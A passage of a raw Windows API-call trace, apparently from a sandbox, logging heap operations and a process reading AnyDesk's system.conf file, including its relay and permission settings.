lpBuffer=0x1969238*, nNumberOfBytesToWrite=0x1c7, lpNumberOfBytesWritten=0x2d4f548, lpOverlapped=0x0 | out: lpBuffer=0x1969238*, lpNumberOfBytesWritten=0x2d4f548*=0x1c7, lpOverlapped=0x0) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969238 | out: hHeap=0x1930000) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19688f8 | out: hHeap=0x1930000) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab420 | out: hHeap=0x1930000) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970a98 | out: hHeap=0x1930000) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab318 | out: hHeap=0x1930000) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa540 | out: hHeap=0x1930000) returned 1 [0285.301] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0285.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970fa8 | out: hHeap=0x1930000) returned 1 [0285.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab438 | out: hHeap=0x1930000) returned 1 [0285.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0285.302] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab408 | out: hHeap=0x1930000) returned 1 [0285.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0285.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab390 | out: hHeap=0x1930000) returned 1 [0285.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1985838 | out: hHeap=0x1930000) returned 1 [0285.303] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab450 | out: hHeap=0x1930000) returned 1 [0285.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196af70 | out: hHeap=0x1930000) returned 1 [0285.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3f0 | out: hHeap=0x1930000) returned 1 [0285.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19725d0 | out: hHeap=0x1930000) returned 1 [0285.304] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3d8 | out: hHeap=0x1930000) returned 1 [0285.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990558 | out: hHeap=0x1930000) returned 1 [0285.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3c0 | out: hHeap=0x1930000) returned 1 [0285.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa4d0 | out: hHeap=0x1930000) returned 1 [0285.305] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0285.305] UnlockFileEx (in: hFile=0x32c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2d4f520 | out: lpOverlapped=0x2d4f520) returned 1 [0285.306] CloseHandle (hObject=0x32c) returned 1 [0285.306] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0285.306] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9310 [0285.307] GetCurrentThreadId () returned 0x5d8 [0285.307] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0285.307] GetLastError () returned 0xb7 [0285.307] SwitchToFiber (lpFiber=0x16f6890) [0285.307] SwitchToFiber (lpFiber=0x16f6590) [0285.307] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9130 [0285.307] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9330 [0285.307] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c3c8 [0285.307] GetTickCount () returned 0xeda8 [0285.307] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0285.308] LockFileEx (in: hFile=0x32c, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x294b24c | out: lpOverlapped=0x294b24c) returned 1 [0285.308] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x294b268 | out: lpFileSize=0x294b268*=455) returned 1 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c7) returned 0x1969238 [0285.308] ReadFile (in: hFile=0x32c, lpBuffer=0x1969238, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x294b27c, lpOverlapped=0x0 | out: lpBuffer=0x1969238*, lpNumberOfBytesRead=0x294b27c*=0x1c7, lpOverlapped=0x0) returned 1 [0285.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1969238, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x390) returned 0x19af560 [0285.308] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1969238, cbMultiByte=455, lpWideCharStr=0x19af560, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=0\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\n") returned 455 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f9d0 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c648 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3c0 [0285.308] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa4d0 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3d8 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c5f8 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3f0 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x19725d0 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab450 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975fc0 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab390 [0285.310] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x1985838 [0285.311] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab408 [0285.311] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196c2e0 [0285.312] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab438 [0285.312] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1975f00 [0285.312] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab330 [0285.312] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c5a8 [0285.312] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab318 [0285.313] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990558 [0285.313] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab420 [0285.313] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f8e0 [0285.314] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f8e0 | out: hHeap=0x1930000) returned 1 [0285.314] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688f8 [0285.314] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1968948 [0285.314] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19688f8 | out: hHeap=0x1930000) returned 1 [0285.314] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975ea0 [0285.314] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975d80 [0285.314] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1976140 [0285.314] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975d80 | out: hHeap=0x1930000) returned 1 [0285.315] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975ea0 | out: hHeap=0x1930000) returned 1 [0285.315] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0285.315] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9350 [0285.315] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688f8 [0285.315] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0285.315] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975ea0 [0285.315] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976140 | out: hHeap=0x1930000) returned 1 [0285.315] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1968948 | out: hHeap=0x1930000) returned 1 [0285.315] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c698 [0285.316] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c698 | out: hHeap=0x1930000) returned 1 [0285.316] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970fa8 [0285.316] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970a98 [0285.316] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970fa8 | out: hHeap=0x1930000) returned 1 [0285.316] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969910 [0285.316] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a00 [0285.316] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969a10 [0285.317] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.317] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0285.317] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0285.317] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9370 [0285.317] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970fa8 [0285.317] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969910 | out: hHeap=0x1930000) returned 1 [0285.317] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969910 [0285.317] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a10 | out: hHeap=0x1930000) returned 1 [0285.317] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970a98 | out: hHeap=0x1930000) returned 1 [0285.317] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa540 [0285.318] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa540 | out: hHeap=0x1930000) returned 1 [0285.318] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa540 [0285.318] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa578 [0285.318] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa540 | out: hHeap=0x1930000) returned 1 [0285.318] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a10 [0285.318] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.318] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a20 [0285.318] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.319] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a10 | out: hHeap=0x1930000) returned 1 [0285.319] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a10 [0285.319] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9390 [0285.319] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa540 [0285.319] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a10 | out: hHeap=0x1930000) returned 1 [0285.319] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a10 [0285.319] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a20 | out: hHeap=0x1930000) returned 1 [0285.319] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa578 | out: hHeap=0x1930000) returned 1 [0285.319] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c698 [0285.320] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c698 | out: hHeap=0x1930000) returned 1 [0285.320] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970a98 [0285.320] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970978 [0285.321] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970a98 | out: hHeap=0x1930000) returned 1 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a20 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a30 [0285.321] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.321] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a20 | out: hHeap=0x1930000) returned 1 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a20 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a93b0 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1970a98 [0285.321] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a20 | out: hHeap=0x1930000) returned 1 [0285.321] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a20 [0285.321] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a30 | out: hHeap=0x1930000) returned 1 [0285.322] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970978 | out: hHeap=0x1930000) returned 1 [0285.322] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972d60 [0285.322] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0285.322] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972d60 [0285.322] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1971ff8 [0285.323] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972d60 | out: hHeap=0x1930000) returned 1 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a30 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a40 [0285.323] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.323] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a30 | out: hHeap=0x1930000) returned 1 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a30 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a93d0 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972d60 [0285.323] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a30 | out: hHeap=0x1930000) returned 1 [0285.323] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a30 [0285.323] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a40 | out: hHeap=0x1930000) returned 1 [0285.324] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0285.324] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1976140 [0285.326] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976140 | out: hHeap=0x1930000) returned 1 [0285.326] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971ff8 [0285.327] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971fa0 [0285.327] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971ff8 | out: hHeap=0x1930000) returned 1 [0285.327] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a40 [0285.327] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.327] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a50 [0285.327] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.327] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a40 | out: hHeap=0x1930000) returned 1 [0285.327] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a40 [0285.327] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a93f0 [0285.328] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1971ff8 [0285.328] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961e40 [0285.328] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a9330 | out: hHeap=0x1930000) returned 1 [0285.328] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a40 | out: hHeap=0x1930000) returned 1 [0285.328] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a40 [0285.328] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a50 | out: hHeap=0x1930000) returned 1 [0285.328] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971fa0 | out: hHeap=0x1930000) returned 1 [0285.328] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x19855b8 [0285.329] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0285.329] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19855b8 [0285.329] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19858b8 [0285.329] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0285.329] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a50 [0285.330] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.330] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a60 [0285.330] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.330] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a50 | out: hHeap=0x1930000) returned 1 [0285.330] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a50 [0285.330] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9330 [0285.330] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19855b8 [0285.330] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a50 | out: hHeap=0x1930000) returned 1 [0285.330] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a50 [0285.331] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a60 | out: hHeap=0x1930000) returned 1 [0285.331] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19858b8 | out: hHeap=0x1930000) returned 1 [0285.331] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196cd90 [0285.331] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196cd90 | out: hHeap=0x1930000) returned 1 [0285.332] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196af70 [0285.332] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x19abf08 [0285.332] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196af70 | out: hHeap=0x1930000) returned 1 [0285.332] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a60 [0285.332] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.332] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a70 [0285.332] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.332] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a60 | out: hHeap=0x1930000) returned 1 [0285.333] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a60 [0285.333] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9410 [0285.333] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196af70 [0285.333] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a60 | out: hHeap=0x1930000) returned 1 [0285.333] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a60 [0285.333] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a70 | out: hHeap=0x1930000) returned 1 [0285.333] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19abf08 | out: hHeap=0x1930000) returned 1 [0285.333] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1976140 [0285.334] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976140 | out: hHeap=0x1930000) returned 1 [0285.334] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971fa0 [0285.334] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1972050 [0285.334] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971fa0 | out: hHeap=0x1930000) returned 1 [0285.334] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a70 [0285.334] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a00 [0285.334] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a80 [0285.335] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a00 | out: hHeap=0x1930000) returned 1 [0285.335] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a70 | out: hHeap=0x1930000) returned 1 [0285.335] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a70 [0285.335] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9430 [0285.335] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1971fa0 [0285.335] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a70 | out: hHeap=0x1930000) returned 1 [0285.335] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969a70 [0285.335] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a80 | out: hHeap=0x1930000) returned 1 [0285.335] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972050 | out: hHeap=0x1930000) returned 1 [0285.335] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c698 [0285.336] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c698 | out: hHeap=0x1930000) returned 1 [0285.336] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1963820 [0285.336] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19638a0 [0285.336] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963820 | out: hHeap=0x1930000) returned 1 [0285.336] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab090 [0285.336] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab4b0 [0285.336] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab498 [0285.337] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab4b0 | out: hHeap=0x1930000) returned 1 [0285.337] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0285.337] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969a80 [0285.337] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9450 [0285.337] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1963820 [0285.337] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969a80 | out: hHeap=0x1930000) returned 1 [0285.337] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab090 [0285.337] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab498 | out: hHeap=0x1930000) returned 1 [0285.338] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19638a0 | out: hHeap=0x1930000) returned 1 [0285.338] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19638a0 [0285.338] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19638a0 | out: hHeap=0x1930000) returned 1 [0285.339] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa578 [0285.339] 